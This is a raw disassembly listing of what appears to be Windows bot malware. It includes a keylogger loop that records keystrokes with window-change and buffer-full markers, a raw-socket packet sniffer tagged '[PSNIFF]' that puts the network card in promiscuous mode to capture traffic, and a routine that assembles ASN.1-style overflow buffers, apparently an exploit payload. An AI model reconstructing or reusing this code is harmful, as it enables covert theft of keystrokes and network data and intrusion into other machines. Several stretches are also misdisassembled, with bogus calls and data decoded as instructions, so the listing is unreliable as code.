loc_402088: ; CODE XREF: seg000:00401DD9j
mov ds:0FFFC75FFh, al
adc eax, offset dword_42F7A0
mov eax, [ebp+8]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div dword ptr [ebp-0B4h]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp-23Ch]
push dword ptr [ebp+8]
push eax
lea eax, [ebp-1BCh]
push eax
lea eax, [ebp-440h]
push offset dword_4212D0
push eax
call sub_4135AD
add esp, 1Ch
cmp [ebp-0A8h], ebx
jnz short loc_4020FA
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_4110B0
add esp, 14h
loc_4020FA: ; CODE XREF: seg000:004020D5j
lea eax, [ebp-440h]
push eax
call sub_409615
push dword ptr [ebp-0BCh]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
xor al, 55h ; CODE XREF: sub_4021FB+B4p
; sub_4021FB+253p
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
call ds:dword_41F054 ; GetLocalTime
lea eax, [ebp-114h]
push 104h
push eax
call near ptr 0A70000h
sbb [ebp-1137Bh], ecx
jmp fword ptr [eax+20h]
; ---------------------------------------------------------------------------
sbb al, 42h
add [eax-18h], dl
jg short near ptr loc_402168+2
add [eax], eax
lea eax, [ebp-114h]
push offset dword_42829C
push eax
call sub_413CD0
lea eax, [ebp-114h]
loc_402168: ; CODE XREF: seg000:0040214Dj
push offset aAb ; "ab"
push eax
call sub_413CA8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
push 1
pop eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: seg000:0040217Aj
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_413C56
push esi
call sub_413C00
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_4021F6
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_421BDC
push 200h
push eax
call sub_413B2A
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 24h
loc_4021F6: ; CODE XREF: seg000:004021BDj
xor eax, eax
loc_4021F8: ; CODE XREF: seg000:0040217Fj
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4021FB proc near ; DATA XREF: seg000:0040D179o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call ds:dword_42F690
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_42F6A4
mov ebx, 200h
loc_402256: ; CODE XREF: sub_4021FB+2C7j
push 8
call ds:dword_41F058 ; Sleep
call ds:dword_42F690
cmp eax, [ebp+var_8]
jz short loc_4022DE
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_42F6A4
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_4135AD
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call near ptr loc_402119+1
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_413630
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_413630
add esp, 0Ch
loc_4022DE: ; CODE XREF: sub_4021FB+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_4022E5: ; CODE XREF: sub_4021FB+2BDj
push 10h
call ds:dword_42F5E8
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call ds:dword_42F6D4
test ah, 80h
jz short loc_40237D
push 14h
call ds:dword_42F5E8
test ax, ax
jz short loc_40232E
cmp esi, 0FFFFFFFFh
jle short loc_40232E
cmp edi, 40h
jle short loc_40232E
cmp edi, 5Bh
jge short loc_40232E
mov [ebp+edi*4+var_8DC], 1
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40232E: ; CODE XREF: sub_4021FB+112j
; sub_4021FB+117j ...
push 14h
call ds:dword_42F5E8
test ax, ax
jz short loc_402359
test esi, esi
jge short loc_40236D
cmp edi, 40h
jle short loc_402359
cmp edi, 5Bh
jge short loc_402359
mov [ebp+edi*4+var_8DC], 2
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_402359: ; CODE XREF: sub_4021FB+13Ej
; sub_4021FB+147j ...
test esi, esi
jge short loc_40236D
mov [ebp+edi*4+var_8DC], 3
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40236D: ; CODE XREF: sub_4021FB+142j
; sub_4021FB+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40237D: ; CODE XREF: sub_4021FB+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_4024AD
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_4023B5
call sub_413DB0
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_4023B5: ; CODE XREF: sub_4021FB+1A5j
call sub_413DB0
cmp eax, 1B9h
pop ecx
jbe short loc_4023E7
call ds:dword_42F690
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_42F6A4
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_402428
; ---------------------------------------------------------------------------
loc_4023E7: ; CODE XREF: sub_4021FB+1C5j
cmp edi, 0Dh
jnz loc_40247F
lea eax, [ebp+var_2DC]
push eax
call sub_413DB0
test eax, eax
pop ecx
jz loc_4024AD
call ds:dword_42F690
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_42F6A4
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_402428: ; CODE XREF: sub_4021FB+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_4135AD
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call near ptr loc_402119+1
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_413630
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_413630
add esp, 0Ch
jmp short loc_4024AD
; ---------------------------------------------------------------------------
loc_40247F: ; CODE XREF: sub_4021FB+1EFj
cmp esi, 1
jz short loc_402498
cmp esi, 3
jz short loc_402498
cmp esi, 2
jz short loc_402493
cmp esi, 4
jnz short loc_4024AD
loc_402493: ; CODE XREF: sub_4021FB+291j
push [ebp+arg_0]
jmp short loc_40249F
; ---------------------------------------------------------------------------
loc_402498: ; CODE XREF: sub_4021FB+287j
; sub_4021FB+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40249F: ; CODE XREF: sub_4021FB+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_413CD0
pop ecx
pop ecx
loc_4024AD: ; CODE XREF: sub_4021FB+12Ej
; sub_4021FB+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_421BA4
jl loc_4022E5
cmp [ebp+var_4], 0
jz loc_402256
push [ebp+var_D8]
call sub_413375
pop ecx
push 0
call near ptr 0A70000h
hlt
sub_4021FB endp
; ---------------------------------------------------------------------------
loc_4024DC: ; DATA XREF: seg000:0040CFC2o
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_413E30
mov edx, [ebp+8]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp-0B4h]
pop ecx
mov [ebp-8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp-1Ch]
push esi
push eax
call sub_413630
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push esi
call ds:dword_42F708
push dword ptr [ebp-0B4h]
mov [ebp-1Ah], ax
call sub_408619
pop ecx
push eax
call ds:dword_42F748
push esi
push 3
push 2
mov [ebp-18h], eax
call ds:dword_42F788
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-4], edi
jnz short loc_4025B1
call ds:dword_42F69C
push eax
lea eax, [ebp-2B4h]
push offset unk_42261C
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402594
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4110B0
add esp, 14h
loc_402594: ; CODE XREF: seg000:00402572j
lea eax, [ebp-2B4h]
push eax
call sub_409615
push dword ptr [ebp-30h]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
loc_4025B1: ; CODE XREF: seg000:00402552j
mov eax, [ebp-30h]
push 10h
imul eax, 234h
mov ds:dword_4348A4[eax], edi
lea eax, [ebp-1Ch]
push eax
push edi
call ds:dword_42F734
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_402635+1
call ds:dword_42F69C
push eax
lea eax, [ebp-2B4h]
push offset unk_4225D4
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402612
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4110B0
add esp, 14h
loc_402612: ; CODE XREF: seg000:004025F0j
lea eax, [ebp-2B4h]
push eax
call sub_409615
pop ecx
push edi
call ds:dword_42F7A0
push dword ptr [ebp-30h]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
loc_402635: ; CODE XREF: seg000:004025D0j
adc al, 56h
lea eax, [ebp-20h]
push esi
push eax
push esi
push esi
lea eax, [ebp-8]
push 4
push eax
push 98000001h
push edi
call ds:dword_42F6B4
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_4026B8+1
call ds:dword_42F69C
push eax
lea eax, [ebp-2B4h]
push offset unk_422588
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402695
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4110B0
add esp, 14h
loc_402695: ; CODE XREF: seg000:00402673j
lea eax, [ebp-2B4h]
push eax
call sub_409615
pop ecx
push edi
call ds:dword_42F7A0
push dword ptr [ebp-30h]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
loc_4026B8: ; CODE XREF: seg000:00402653j
and [ebx-45h], edx
sbb byte ptr [edx+eax*2], 0
loc_4026BF: ; CODE XREF: seg000:004026F7j
; seg000:00402709j ...
mov edi, 0FFFFh
lea eax, [ebp-102B4h]
push edi
push esi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp-102B4h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call ds:dword_42F720
cmp eax, 0FFFFFFFFh
jz loc_4027D1
cmp byte ptr [ebp-102ABh], 6
jnz short loc_4026BF
mov eax, [ebp-102A8h]
cmp byte ptr [ebp-10293h], 18h
mov [ebp-0Ch], eax
jnz short loc_4026BF
lea eax, [ebp-1028Ch]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jnz short loc_4026BF
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_4026BF
mov [ebp+8], ebx
loc_40272D: ; CODE XREF: seg000:00402748j
push eax
lea eax, [ebp-1028Ch]
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jnz short loc_40274F
inc edi
add dword ptr [ebp+8], 18h
mov eax, [ebp+8]
jnz short loc_40272D
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_40274F: ; CODE XREF: seg000:0040273Ej
lea eax, [ebp-1028Ch]
push eax
push dword ptr [ebp-102A0h]
call ds:dword_42F644
movzx eax, ax
push eax
push dword ptr [ebp-0Ch]
call ds:dword_42F794
push eax
lea eax, [edi+edi*2]
mov eax, ds:dword_421C94[eax*8]
push ds:off_421C70[eax*4]
lea eax, [ebp-2B4h]
push offset unk_422534
push 200h
push eax
call sub_413B2A
add esp, 1Ch
cmp [ebp-28h], esi
jnz short loc_4027BF
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4110B0
add esp, 14h
loc_4027BF: ; CODE XREF: seg000:0040279Dj
lea eax, [ebp-2B4h]
push eax
call sub_409615
pop ecx
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_4027D1: ; CODE XREF: seg000:004026EAj
call ds:dword_42F69C
push eax
push offset unk_4224EC
lea eax, [ebp-2B4h]
push 200h
push eax
call sub_413B2A
add esp, 10h
cmp [ebp-28h], esi
pop ebx
jnz short loc_402817
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4110B0
add esp, 14h
loc_402817: ; CODE XREF: seg000:004027F5j
lea eax, [ebp-2B4h]
push eax
call sub_409615
pop ecx
push dword ptr [ebp-4]
call ds:dword_42F7A0
push dword ptr [ebp-30h]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
adc [ebx+46083C1h], ecx ; CODE XREF: sub_402AB1+Ep
; sub_402AB1+33p ...
add [ebx+53C30020h], al ; CODE XREF: sub_402AB1+11Ep
mov ebx, [esp+0Ch]
push esi
push edi
mov esi, ecx
push ebx
call sub_413E5F
mov edi, eax
pop ecx
test edi, edi
jz short loc_402879
push ebx
push 0
push edi
call sub_413630
push ebx
push dword ptr [esp+20h]
push edi
call sub_413690
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_402879: ; CODE XREF: seg000:0040285Bj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402881 proc near ; CODE XREF: sub_40297B+18p
; sub_4029F5+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_413E5F
mov esi, eax
pop ecx
test esi, esi
jz short loc_4028CD
push edi
push 0
push esi
call sub_413630
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_413690
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_413690
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4028CD: ; CODE XREF: sub_402881+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_402881 endp
; =============== S U B R O U T I N E =======================================
sub_4028D6 proc near ; CODE XREF: sub_40297B+5Ep
; sub_40297B+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4028E6
push eax
call sub_413ED3
pop ecx
loc_4028E6: ; CODE XREF: sub_4028D6+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4028D6 endp
; =============== S U B R O U T I N E =======================================
sub_4028EF proc near ; CODE XREF: sub_40297B+20p
; sub_402A56+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40291C
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_413E5F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_402920
loc_40291C: ; CODE XREF: sub_4028EF+Dj
xor al, al
jmp short loc_402977
; ---------------------------------------------------------------------------
loc_402920: ; CODE XREF: sub_4028EF+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_413630
add esp, 0Ch
cmp ebx, 1
jnz short loc_402945
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40295F
; ---------------------------------------------------------------------------
loc_402945: ; CODE XREF: sub_4028EF+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40295F: ; CODE XREF: sub_4028EF+54j
push eax
call sub_413690
add esp, 0Ch
push dword ptr [esi]
call sub_413ED3
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_402977: ; CODE XREF: sub_4028EF+2Fj
pop edi
pop esi
pop ebx
retn
sub_4028EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40297B proc near ; CODE XREF: sub_402AB1+89p
; sub_402AB1+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_42E344
call sub_402881
lea ecx, [ebp+var_8]
call sub_4028EF
mov eax, [ebp+var_4]
inc eax
push eax
call sub_413E5F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4029B5
xor al, al
jmp short loc_4029F1
; ---------------------------------------------------------------------------
loc_4029B5: ; CODE XREF: sub_40297B+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_413630
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_413690
add esp, 18h
mov ecx, esi
call sub_4028D6
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4028D6
mov al, 1
loc_4029F1: ; CODE XREF: sub_40297B+38j
pop edi
pop esi
leave
retn
sub_40297B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029F5 proc near ; CODE XREF: sub_402A29+14p
; sub_402A46+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_402881
mov ecx, esi
call sub_4028D6
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4029F5 endp
; =============== S U B R O U T I N E =======================================
sub_402A29 proc near ; CODE XREF: sub_402AB1+F0p
; sub_402AB1+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_413DB0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_4029F5
pop esi
retn 4
sub_402A29 endp
; =============== S U B R O U T I N E =======================================
sub_402A46 proc near ; CODE XREF: sub_402A92+Bp
; sub_402AB1+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4029F5
retn 8
sub_402A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A56 proc near ; CODE XREF: sub_402A92+16p
; sub_402AB1+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4028EF
test al, al
jz short loc_402A8F
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4229CF+1)
call sub_402881
mov ecx, esi
call sub_4028D6
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_402A8F: ; CODE XREF: sub_402A56+Fj
pop esi
leave
retn
sub_402A56 endp
; =============== S U B R O U T I N E =======================================
sub_402A92 proc near ; CODE XREF: sub_402AB1+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_402A46
test al, al
jz short loc_402AAD
mov ecx, esi
call sub_402A56
loc_402AAD: ; CODE XREF: sub_402A92+12j
pop esi
retn 8
sub_402A92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402AB1 proc near ; CODE XREF: sub_4032B0+86p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call near ptr loc_40283C+1
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_402E05
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_402E05
push esi
lea ecx, [ebp+var_30]
call near ptr loc_40283C+1
lea ecx, [ebp+var_20]
call near ptr loc_40283C+1
lea ecx, [ebp+var_50]
call near ptr loc_40283C+1
lea ecx, [ebp+var_18]
call near ptr loc_40283C+1
lea ecx, [ebp+var_40]
call near ptr loc_40283C+1
lea ecx, [ebp+var_38]
call near ptr loc_40283C+1
lea ecx, [ebp+var_28]
call near ptr loc_40283C+1
push 4
push offset dword_422670
lea ecx, [ebp+var_30]
call sub_4029F5
push 3
push offset dword_422678
lea ecx, [ebp+var_30]
call sub_4029F5
lea ecx, [ebp+var_30]
call sub_40297B
lea ecx, [ebp+var_30]
call sub_402A56
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_413630
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_4029F5
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4029F5
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_4029F5
lea ecx, [ebp+var_20]
call sub_40297B
push offset loc_4229F8
lea ecx, [ebp+var_50]
call sub_402A29
lea ecx, [ebp+var_50]
call sub_40297B
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call near ptr loc_402842+5
lea ecx, [ebp+var_58]
call sub_40297B
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_402A92
lea ecx, [ebp+var_58]
call sub_4028D6
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_413630
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_402A29
push 4
push offset dword_42267C
lea ecx, [ebp+var_18]
call sub_4029F5
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4029F5
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4029F5
lea ecx, [ebp+var_18]
call sub_40297B
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_402A46
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_402A46
lea ecx, [ebp+var_40]
call sub_402A56
lea ecx, [ebp+var_18]
call sub_4028D6
lea ecx, [ebp+var_50]
call sub_4028D6
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_402A46
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_402A46
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_402A46
lea ecx, [ebp+var_38]
call sub_402A56
lea ecx, [ebp+var_20]
call sub_4028D6
lea ecx, [ebp+var_30]
call sub_4028D6
lea ecx, [ebp+var_40]
call sub_4028D6
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4029F5
lea ecx, [ebp+var_28]
call sub_40297B
push 2
push offset dword_4229EC
lea ecx, [ebp+var_28]
call sub_4029F5
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_402A46
lea ecx, [ebp+var_28]
call sub_402A56
lea ecx, [ebp+var_38]
call sub_4028D6
lea ecx, [ebp+var_10]
call near ptr loc_40283C+1
lea ecx, [ebp+var_8]
call near ptr loc_40283C+1
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_402A46
lea ecx, [ebp+var_10]
call sub_4028EF
lea ecx, [ebp+var_28]
call sub_4028D6
push offset dword_4229E8
lea ecx, [ebp+var_8]
call sub_402A29
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_402A46
lea ecx, [ebp+var_8]
call sub_4028EF
lea ecx, [ebp+var_10]
call sub_4028D6
push offset dword_4229E4
lea ecx, [ebp+var_10]
call sub_402A29
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_402A46
lea ecx, [ebp+var_10]
call sub_4028EF
lea ecx, [ebp+var_8]
call sub_4028D6
push offset dword_4229D8
lea ecx, [ebp+var_8]
call sub_402A29
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_402A46
lea ecx, [ebp+var_8]
call sub_4028EF
lea ecx, [ebp+var_10]
call sub_4028D6
push offset dword_4229D4
lea ecx, [ebp+var_48]
call sub_402A29
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_402A46
lea ecx, [ebp+var_8]
call sub_4028D6
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_402E13
; ---------------------------------------------------------------------------
loc_402E05: ; CODE XREF: sub_402AB1+1Bj
; sub_402AB1+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_402E13: ; CODE XREF: sub_402AB1+352j
pop edi
pop ebx
leave
retn
sub_402AB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E17 proc near ; CODE XREF: sub_402EDB+A1p
; sub_402EDB+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_41F1E0 ; select
cmp eax, edi
jnz short loc_402E7E
lea eax, [ebp+var_10C]
push eax
push esi
call sub_41E196 ; __WSAFDIsSet
test eax, eax
jnz short loc_402E82
loc_402E7E: ; CODE XREF: sub_402E17+54j
xor eax, eax
jmp short loc_402E92
; ---------------------------------------------------------------------------
loc_402E82: ; CODE XREF: sub_402E17+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_42F720
loc_402E92: ; CODE XREF: sub_402E17+69j
